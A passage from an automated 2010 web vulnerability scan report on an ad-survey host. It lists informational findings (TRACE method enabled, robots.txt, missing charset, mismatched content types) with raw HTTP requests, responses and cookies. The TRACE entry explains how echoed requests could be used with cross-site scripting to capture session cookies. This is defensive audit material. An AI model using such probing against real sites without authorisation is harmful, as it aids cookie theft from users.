DL_S: a224
Set-Cookie: CS1=774151-1-1; expires=Thu, 29-Dec-2011 13:44:52 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=774151-V?!hM-0; expires=Thu, 29-Dec-2011 13:44:52 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP='ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC'
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=DART&survey_num=774151&site=-1--&code=
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 0


7. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: amch.questionmarket.com
Cookie: 3146544b34c83974

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:38:40 GMT
Server: Apache/2.2.3
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: amch.questionmarket.com
Cookie: 3146544b34c83974
Connection: Keep-Alive


8. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/invite.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: amch.questionmarket.com

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:38:40 GMT
Server: Apache/2.2.3
Last-Modified: Tue, 28 Mar 2006 15:45:05 GMT
ETag: "e0610677-1a-4100ff999c240"
Accept-Ranges: bytes
Content-Length: 26
Keep-Alive: timeout=5, max=833
Connection: Keep-Alive
Content-Type: text/plain

User-agent: *
Disallow: /

9. HTML does not specify charset  previous  next
There are 5 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


9.1. http://amch.questionmarket.com/adscgen/invite.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/invite.php

Request

GET /adscgen/invite.php HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:38:40 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Set-Cookie: LP=1289162320; expires=Fri, 12 Nov 2010 00:38:40 GMT; path=/; domain=.questionmarket.com
Content-Length: 213
Keep-Alive: timeout=5, max=997
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Empowering Your Opinions</title>
<script>self.close()</script></head><body><
...[SNIP]...

9.2. http://amch.questionmarket.com/adscgen/popup.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/popup.php

Request

GET /adscgen/popup.php?sub=amch&type=popup&survey_num=768750&lang=&from_node=4487&site=27 HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0; linkjumptest=1

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:27 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: b203.dl
Set-Cookie: LP=1289161527; expires=Fri, 12 Nov 2010 00:25:27 GMT; path=/; domain=.questionmarket.com
Content-Length: 1187
Content-Type: text/html


var DL_already_ran;

function DL_domain_popup() {
   if (DL_already_ran) return;

   var DL_x = window.screenLeft || window.screenX || 15000;
   var DL_y = window.screenTop || window.screenY || 15000;
   
   
...[SNIP]...

9.3. http://amch.questionmarket.com/adscgen/st.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/st.php

Request

GET /adscgen/st.php?survey_num=774151&site=51843898&code=38159205&randnum=3413825 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 19:59:50 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
DL_S: b101.dl
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Content-Length: 172
Content-Type: text/html

(function(){
if(1!=4){
var i=new Image();
i.src="http://amch.questionmarket.com/adsc/d774151/51/38159205/decide.php?ord="+Math.floor((new Date()).getTime()/1000);
}

})();

9.4. http://amch.questionmarket.com/adscgen/sta.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/sta.php

Request

GET /adscgen/sta.php?survey_num=804109&site=1129212&code=1395264&ut_sys=pointroll HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: linkjumptest=1; CS1=38159205-51-1; ES=774151-WL!hM-0; LP=1289161527

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:40 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
DL_S: b203.dl
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Content-Length: 176
Content-Type: text/html

(function(){
if(1!=4){
var i=new Image();
i.src="http://amch.questionmarket.com/adsc/d804109/17/600001395264/decide.php?ord="+Math.floor((new Date()).getTime()/1000);
}

})();

9.5. http://amch.questionmarket.com/dt/s/4487/0.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /dt/s/4487/0.php

Request

GET /dt/s/4487/0.php HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:25 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC"
Set-Cookie: linkjumptest=1; path=/; domain=.questionmarket.com
Content-Length: 265
Content-Type: text/html

var DL_e= document.createElement('script');
DL_e.type="text/javascript";
DL_e.src="http://amch.questionmarket.com/adscgen/popup.php?sub=amch&type=popup&survey_num=768750&lang=&from_node=4487&site=27";
...[SNIP]...

10. Content type incorrectly stated  previous
There are 4 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


10.1. http://amch.questionmarket.com/adscgen/popup.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://amch.questionmarket.com
Path:   /adscgen/popup.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /adscgen/popup.php?sub=amch&type=popup&survey_num=768750&lang=&from_node=4487&site=27 HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0; linkjumptest=1

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:27 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: b203.dl
Set-Cookie: LP=1289161527; expires=Fri, 12 Nov 2010 00:25:27 GMT; path=/; domain=.questionmarket.com
Content-Length: 1187
Content-Type: text/html


var DL_already_ran;

function DL_domain_popup() {
   if (DL_already_ran) return;

   var DL_x = window.screenLeft || window.screenX || 15000;
   var DL_y = window.screenTop || window.screenY || 15000;
   
   
...[SNIP]...

10.2. http://amch.questionmarket.com/adscgen/st.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://amch.questionmarket.com
Path:   /adscgen/st.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /adscgen/st.php?survey_num=774151&site=51843898&code=38159205&randnum=3413825 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 19:59:50 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
DL_S: b101.dl
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Content-Length: 172
Content-Type: text/html

(function(){
if(1!=4){
var i=new Image();
i.src="http://amch.questionmarket.com/adsc/d774151/51/38159205/decide.php?ord="+Math.floor((new Date()).getTime()/1000);
}

})();

10.3. http://amch.questionmarket.com/adscgen/sta.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://amch.questionmarket.com
Path:   /adscgen/sta.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /adscgen/sta.php?survey_num=804109&site=1129212&code=1395264&ut_sys=pointroll HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: linkjumptest=1; CS1=38159205-51-1; ES=774151-WL!hM-0; LP=1289161527

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:40 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
DL_S: b203.dl
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Content-Length: 176
Content-Type: text/html

(function(){
if(1!=4){
var i=new Image();
i.src="http://amch.questionmarket.com/adsc/d804109/17/600001395264/decide.php?ord="+Math.floor((new Date()).getTime()/1000);
}

})();

10.4. http://amch.questionmarket.com/dt/s/4487/0.php  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://amch.questionmarket.com
Path:   /dt/s/4487/0.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /dt/s/4487/0.php HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:25 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC"
Set-Cookie: linkjumptest=1; path=/; domain=.questionmarket.com
Content-Length: 265
Content-Type: text/html

var DL_e= document.createElement('script');
DL_e.type="text/javascript";
DL_e.src="http://amch.questionmarket.com/adscgen/popup.php?sub=amch&type=popup&survey_num=768750&lang=&from_node=4487&site=27";
...[SNIP]...

Report generated by Hoyt LLC Research at Sun Nov 07 17:41:29 CST 2010.